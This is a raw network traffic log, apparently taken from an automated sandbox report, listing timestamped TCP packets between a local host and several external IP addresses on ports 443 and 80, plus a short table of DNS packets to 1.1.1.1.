Oct 31, 2024 21:55:24.850632906 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.850656033 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.850661993 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.850684881 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.850688934 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.850717068 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.850740910 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.851243973 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.851255894 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.851309061 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.851319075 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.851366997 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.851797104 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.851830006 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.851860046 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.851864100 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.851881027 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.851891041 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.851907969 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.851938963 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.852106094 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.852112055 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.064806938 CET	443	51052	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.065082073 CET	51052	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.065102100 CET	443	51052	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.065416098 CET	443	51052	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.065793037 CET	51052	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.065849066 CET	443	51052	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.065951109 CET	51052	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.107331991 CET	443	51052	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.114193916 CET	443	51053	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.114430904 CET	51053	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.114448071 CET	443	51053	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.114765882 CET	443	51053	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.115047932 CET	51053	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.115108013 CET	443	51053	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.115165949 CET	51053	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.156316996 CET	51053	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.156323910 CET	443	51053	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.164325953 CET	443	51054	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.164505959 CET	51054	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.164515018 CET	443	51054	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.165359974 CET	443	51054	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.165424109 CET	51054	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.165679932 CET	51054	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.165729046 CET	443	51054	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.165770054 CET	51054	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.207338095 CET	443	51054	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.214179039 CET	443	51055	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.214497089 CET	51055	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.214509010 CET	443	51055	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.214782000 CET	443	51055	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.215054989 CET	51055	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.215097904 CET	443	51055	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.215153933 CET	51055	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.219186068 CET	51054	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.219204903 CET	443	51054	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.222887039 CET	443	51052	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.222937107 CET	443	51052	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.222964048 CET	443	51052	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.222974062 CET	51052	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.222981930 CET	443	51052	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.223018885 CET	51052	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.223022938 CET	443	51052	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.223064899 CET	51052	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.223758936 CET	51052	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.223771095 CET	443	51052	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.251049042 CET	443	51056	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.251279116 CET	51056	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.251326084 CET	443	51056	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.251609087 CET	443	51056	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.251902103 CET	51056	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.251961946 CET	443	51056	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.251986980 CET	51056	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.259339094 CET	443	51055	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.267174959 CET	51054	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.279133081 CET	443	51057	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:25.279378891 CET	51057	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:25.279398918 CET	443	51057	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:25.279679060 CET	443	51057	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:25.279959917 CET	51057	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:25.280009985 CET	443	51057	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:25.280081987 CET	51057	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:25.280092001 CET	443	51057	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:25.299196959 CET	51056	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.299211025 CET	443	51056	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.309499025 CET	443	51054	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.309556007 CET	443	51054	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.309597969 CET	51054	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.309608936 CET	443	51054	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.311713934 CET	443	51054	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.311732054 CET	443	51054	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.311759949 CET	51054	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.311768055 CET	443	51054	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.311811924 CET	51054	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.311815977 CET	443	51054	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.311825037 CET	443	51054	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.311860085 CET	51054	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.314280033 CET	443	51054	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.314315081 CET	443	51054	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.314357042 CET	51054	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.314359903 CET	443	51054	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.363200903 CET	51054	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.398184061 CET	443	51055	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.398231983 CET	443	51055	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.398293018 CET	51055	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.398303032 CET	443	51055	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.398327112 CET	443	51055	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.398371935 CET	51055	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.398880959 CET	51055	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.398891926 CET	443	51055	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.401341915 CET	51059	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.401376009 CET	443	51059	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.401436090 CET	51059	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.401657104 CET	51059	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.401664972 CET	443	51059	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.428106070 CET	443	51054	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.428158045 CET	443	51054	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.428206921 CET	51054	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.428225994 CET	443	51054	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.428237915 CET	443	51054	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.428277016 CET	51054	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.428433895 CET	51054	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.428442955 CET	443	51054	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.564572096 CET	443	51053	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.564663887 CET	443	51053	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.564692974 CET	443	51053	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.564738989 CET	51053	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.564760923 CET	443	51053	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.564774036 CET	443	51053	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.564811945 CET	51053	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.565300941 CET	51053	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.565310001 CET	443	51053	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.628221035 CET	443	51057	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:25.628318071 CET	443	51057	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:25.628380060 CET	51057	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:25.629280090 CET	51060	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:25.629307032 CET	51057	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:25.629319906 CET	443	51057	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:25.629373074 CET	443	51060	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:25.629446983 CET	51060	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:25.629846096 CET	51060	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:25.629880905 CET	443	51060	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:25.672055960 CET	443	51058	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.672329903 CET	51058	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.672348022 CET	443	51058	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.673449039 CET	443	51058	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.673796892 CET	51058	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.673916101 CET	51058	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.673923016 CET	443	51058	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.673971891 CET	443	51058	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.720185995 CET	443	51056	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.720242977 CET	443	51056	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.720269918 CET	443	51056	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.720309973 CET	51056	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.720330000 CET	443	51056	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.720350981 CET	443	51056	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.720379114 CET	51056	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.720402956 CET	51056	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.721038103 CET	51056	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.721051931 CET	443	51056	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.723398924 CET	51061	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.723423004 CET	443	51061	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.723504066 CET	51061	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.723671913 CET	51061	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:25.723681927 CET	443	51061	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:25.728190899 CET	51058	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:26.012655973 CET	443	51058	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:26.012859106 CET	443	51058	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:26.012918949 CET	51058	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:26.012938023 CET	443	51058	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:26.013181925 CET	443	51058	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:26.013237953 CET	51058	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:26.013468027 CET	51058	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:26.013487101 CET	443	51058	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:26.026962996 CET	443	51059	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:26.027285099 CET	51059	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:26.027303934 CET	443	51059	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:26.027595043 CET	443	51059	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:26.027997017 CET	51059	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:26.028048992 CET	443	51059	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:26.028755903 CET	51059	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:26.075329065 CET	443	51059	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:26.173152924 CET	443	51059	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:26.173202991 CET	443	51059	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:26.173254013 CET	51059	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:26.173264027 CET	443	51059	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:26.173274994 CET	443	51059	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:26.173322916 CET	51059	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:26.173836946 CET	51059	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:26.173846006 CET	443	51059	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:26.267914057 CET	443	51060	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:26.268188000 CET	51060	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:26.268228054 CET	443	51060	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:26.268524885 CET	443	51060	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:26.268831968 CET	51060	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:26.268901110 CET	443	51060	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:26.268944025 CET	51060	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:26.268975019 CET	443	51060	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:26.318201065 CET	51060	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:26.331409931 CET	443	51061	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:26.331702948 CET	51061	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:26.331722975 CET	443	51061	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:26.332000017 CET	443	51061	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:26.332380056 CET	51061	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:26.332432985 CET	443	51061	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:26.332530022 CET	51061	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:26.375330925 CET	443	51061	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:26.480623007 CET	443	51061	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:26.480671883 CET	443	51061	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:26.480700016 CET	443	51061	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:26.480747938 CET	51061	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:26.480771065 CET	443	51061	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:26.480782986 CET	443	51061	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:26.480825901 CET	51061	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:26.481795073 CET	51061	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:26.481806040 CET	443	51061	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:26.609736919 CET	443	51060	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:26.609808922 CET	443	51060	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:26.609878063 CET	51060	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:26.610790014 CET	51060	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:26.610832930 CET	443	51060	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:32.881309986 CET	49707	443	192.168.2.16	3.132.253.175
Oct 31, 2024 21:55:32.881335020 CET	443	49707	3.132.253.175	192.168.2.16
Oct 31, 2024 21:55:34.848507881 CET	49699	80	192.168.2.16	199.232.214.172
Oct 31, 2024 21:55:34.848587036 CET	49701	80	192.168.2.16	199.232.214.172
Oct 31, 2024 21:55:35.004672050 CET	80	49699	199.232.214.172	192.168.2.16
Oct 31, 2024 21:55:35.004859924 CET	49699	80	192.168.2.16	199.232.214.172
Oct 31, 2024 21:55:35.004911900 CET	80	49701	199.232.214.172	192.168.2.16
Oct 31, 2024 21:55:35.004971027 CET	49701	80	192.168.2.16	199.232.214.172
Oct 31, 2024 21:55:48.263889074 CET	49707	443	192.168.2.16	3.132.253.175
Oct 31, 2024 21:55:48.263982058 CET	443	49707	3.132.253.175	192.168.2.16
Oct 31, 2024 21:55:48.264055967 CET	49707	443	192.168.2.16	3.132.253.175
Oct 31, 2024 21:55:50.891016960 CET	51063	443	192.168.2.16	216.58.212.164
Oct 31, 2024 21:55:50.891036034 CET	443	51063	216.58.212.164	192.168.2.16
Oct 31, 2024 21:55:50.891114950 CET	51063	443	192.168.2.16	216.58.212.164
Oct 31, 2024 21:55:50.891330957 CET	51063	443	192.168.2.16	216.58.212.164
Oct 31, 2024 21:55:50.891340017 CET	443	51063	216.58.212.164	192.168.2.16
Oct 31, 2024 21:55:51.752049923 CET	443	51063	216.58.212.164	192.168.2.16
Oct 31, 2024 21:55:51.752356052 CET	51063	443	192.168.2.16	216.58.212.164
Oct 31, 2024 21:55:51.752370119 CET	443	51063	216.58.212.164	192.168.2.16
Oct 31, 2024 21:55:51.752816916 CET	443	51063	216.58.212.164	192.168.2.16
Oct 31, 2024 21:55:51.753109932 CET	51063	443	192.168.2.16	216.58.212.164
Oct 31, 2024 21:55:51.753186941 CET	443	51063	216.58.212.164	192.168.2.16
Oct 31, 2024 21:55:51.806277990 CET	51063	443	192.168.2.16	216.58.212.164
Oct 31, 2024 21:55:54.169269085 CET	53719	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:54.169292927 CET	443	53719	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:54.642080069 CET	51064	443	192.168.2.16	35.190.80.1
Oct 31, 2024 21:55:54.642173052 CET	443	51064	35.190.80.1	192.168.2.16
Oct 31, 2024 21:55:54.642276049 CET	51064	443	192.168.2.16	35.190.80.1
Oct 31, 2024 21:55:54.642463923 CET	51064	443	192.168.2.16	35.190.80.1
Oct 31, 2024 21:55:54.642488003 CET	443	51064	35.190.80.1	192.168.2.16
Oct 31, 2024 21:55:55.286128998 CET	443	51064	35.190.80.1	192.168.2.16
Oct 31, 2024 21:55:55.286417961 CET	51064	443	192.168.2.16	35.190.80.1
Oct 31, 2024 21:55:55.286434889 CET	443	51064	35.190.80.1	192.168.2.16
Oct 31, 2024 21:55:55.287333012 CET	443	51064	35.190.80.1	192.168.2.16
Oct 31, 2024 21:55:55.287408113 CET	51064	443	192.168.2.16	35.190.80.1
Oct 31, 2024 21:55:55.288397074 CET	51064	443	192.168.2.16	35.190.80.1
Oct 31, 2024 21:55:55.288454056 CET	443	51064	35.190.80.1	192.168.2.16
Oct 31, 2024 21:55:55.288564920 CET	51064	443	192.168.2.16	35.190.80.1
Oct 31, 2024 21:55:55.288569927 CET	443	51064	35.190.80.1	192.168.2.16
Oct 31, 2024 21:55:55.336282969 CET	51064	443	192.168.2.16	35.190.80.1
Oct 31, 2024 21:55:55.438169956 CET	443	51064	35.190.80.1	192.168.2.16
Oct 31, 2024 21:55:55.438421011 CET	51064	443	192.168.2.16	35.190.80.1
Oct 31, 2024 21:55:55.438447952 CET	443	51064	35.190.80.1	192.168.2.16
Oct 31, 2024 21:55:55.438507080 CET	51064	443	192.168.2.16	35.190.80.1
Oct 31, 2024 21:55:55.438972950 CET	51066	443	192.168.2.16	35.190.80.1
Oct 31, 2024 21:55:55.438994884 CET	443	51066	35.190.80.1	192.168.2.16
Oct 31, 2024 21:55:55.439065933 CET	51066	443	192.168.2.16	35.190.80.1
Oct 31, 2024 21:55:55.439265966 CET	51066	443	192.168.2.16	35.190.80.1
Oct 31, 2024 21:55:55.439271927 CET	443	51066	35.190.80.1	192.168.2.16
Oct 31, 2024 21:55:56.047024965 CET	443	51066	35.190.80.1	192.168.2.16
Oct 31, 2024 21:55:56.047291040 CET	51066	443	192.168.2.16	35.190.80.1
Oct 31, 2024 21:55:56.047302961 CET	443	51066	35.190.80.1	192.168.2.16
Oct 31, 2024 21:55:56.048171043 CET	443	51066	35.190.80.1	192.168.2.16
Oct 31, 2024 21:55:56.048253059 CET	51066	443	192.168.2.16	35.190.80.1
Oct 31, 2024 21:55:56.048497915 CET	51066	443	192.168.2.16	35.190.80.1
Oct 31, 2024 21:55:56.048538923 CET	443	51066	35.190.80.1	192.168.2.16
Oct 31, 2024 21:55:56.048624039 CET	51066	443	192.168.2.16	35.190.80.1
Oct 31, 2024 21:55:56.048628092 CET	443	51066	35.190.80.1	192.168.2.16
Oct 31, 2024 21:55:56.048657894 CET	51066	443	192.168.2.16	35.190.80.1
Oct 31, 2024 21:55:56.048686028 CET	443	51066	35.190.80.1	192.168.2.16
Oct 31, 2024 21:55:56.088288069 CET	51066	443	192.168.2.16	35.190.80.1
Oct 31, 2024 21:55:56.191457987 CET	443	51066	35.190.80.1	192.168.2.16
Oct 31, 2024 21:55:56.191740036 CET	51066	443	192.168.2.16	35.190.80.1
Oct 31, 2024 21:55:56.191760063 CET	443	51066	35.190.80.1	192.168.2.16
Oct 31, 2024 21:55:56.191814899 CET	51066	443	192.168.2.16	35.190.80.1
Oct 31, 2024 21:56:01.774192095 CET	443	51063	216.58.212.164	192.168.2.16
Oct 31, 2024 21:56:01.774247885 CET	443	51063	216.58.212.164	192.168.2.16
Oct 31, 2024 21:56:01.774446011 CET	51063	443	192.168.2.16	216.58.212.164
Oct 31, 2024 21:56:02.257941961 CET	51063	443	192.168.2.16	216.58.212.164
Oct 31, 2024 21:56:02.257965088 CET	443	51063	216.58.212.164	192.168.2.16
Oct 31, 2024 21:56:09.460511923 CET	443	53719	152.199.21.175	192.168.2.16
Oct 31, 2024 21:56:09.460576057 CET	443	53719	152.199.21.175	192.168.2.16
Oct 31, 2024 21:56:09.460726976 CET	53719	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:56:10.263670921 CET	53719	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:56:10.263695002 CET	443	53719	152.199.21.175	192.168.2.16
Oct 31, 2024 21:56:23.287580013 CET	49698	443	192.168.2.16	20.190.160.14
Oct 31, 2024 21:56:23.287808895 CET	49700	80	192.168.2.16	192.229.221.95
Oct 31, 2024 21:56:23.293618917 CET	443	49698	20.190.160.14	192.168.2.16
Oct 31, 2024 21:56:23.293705940 CET	49698	443	192.168.2.16	20.190.160.14
Oct 31, 2024 21:56:23.294078112 CET	80	49700	192.229.221.95	192.168.2.16
Oct 31, 2024 21:56:23.294158936 CET	49700	80	192.168.2.16	192.229.221.95
Oct 31, 2024 21:56:26.163743973 CET	49702	443	192.168.2.16	20.190.160.14
Oct 31, 2024 21:56:26.169162035 CET	443	49702	20.190.160.14	192.168.2.16
Oct 31, 2024 21:56:26.169277906 CET	49702	443	192.168.2.16	20.190.160.14
Oct 31, 2024 21:56:50.950016022 CET	51069	443	192.168.2.16	216.58.212.164
Oct 31, 2024 21:56:50.950047970 CET	443	51069	216.58.212.164	192.168.2.16
Oct 31, 2024 21:56:50.950134993 CET	51069	443	192.168.2.16	216.58.212.164
Oct 31, 2024 21:56:50.950469017 CET	51069	443	192.168.2.16	216.58.212.164
Oct 31, 2024 21:56:50.950481892 CET	443	51069	216.58.212.164	192.168.2.16
Oct 31, 2024 21:56:51.801856995 CET	443	51069	216.58.212.164	192.168.2.16
Oct 31, 2024 21:56:51.856455088 CET	51069	443	192.168.2.16	216.58.212.164

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 31, 2024 21:54:46.022505999 CET	53	59496	1.1.1.1	192.168.2.16
Oct 31, 2024 21:54:46.339654922 CET	53	62681	1.1.1.1	192.168.2.16
Oct 31, 2024 21:54:46.921202898 CET	49368	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:54:46.921395063 CET	60274	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:54:46.934376001 CET	53	60274	1.1.1.1	192.168.2.16
Oct 31, 2024 21:54:47.085030079 CET	53	49368	1.1.1.1	192.168.2.16
Oct 31, 2024 21:54:47.571813107 CET	53	61837	1.1.1.1	192.168.2.16
Oct 31, 2024 21:54:48.357032061 CET	57291	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:54:48.357176065 CET	56223	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:54:48.363960028 CET	53	56223	1.1.1.1	192.168.2.16
Oct 31, 2024 21:54:48.394630909 CET	53	57291	1.1.1.1	192.168.2.16
Oct 31, 2024 21:54:49.619406939 CET	52263	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:54:49.619626045 CET	64280	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:54:49.620125055 CET	56545	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:54:49.620456934 CET	61998	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:54:49.622155905 CET	57250	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:54:49.622307062 CET	58376	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:54:49.626543999 CET	53	52263	1.1.1.1	192.168.2.16
Oct 31, 2024 21:54:49.627486944 CET	53	64280	1.1.1.1	192.168.2.16
Oct 31, 2024 21:54:49.627847910 CET	53	56545	1.1.1.1	192.168.2.16
Oct 31, 2024 21:54:49.628140926 CET	53	61998	1.1.1.1	192.168.2.16
Oct 31, 2024 21:54:49.628931046 CET	53	57250	1.1.1.1	192.168.2.16
Oct 31, 2024 21:54:49.628988028 CET	53	58376	1.1.1.1	192.168.2.16
Oct 31, 2024 21:54:50.785892010 CET	54938	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:54:50.786020041 CET	63055	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:54:50.793720961 CET	53	54938	1.1.1.1	192.168.2.16
Oct 31, 2024 21:54:50.793755054 CET	53	63055	1.1.1.1	192.168.2.16
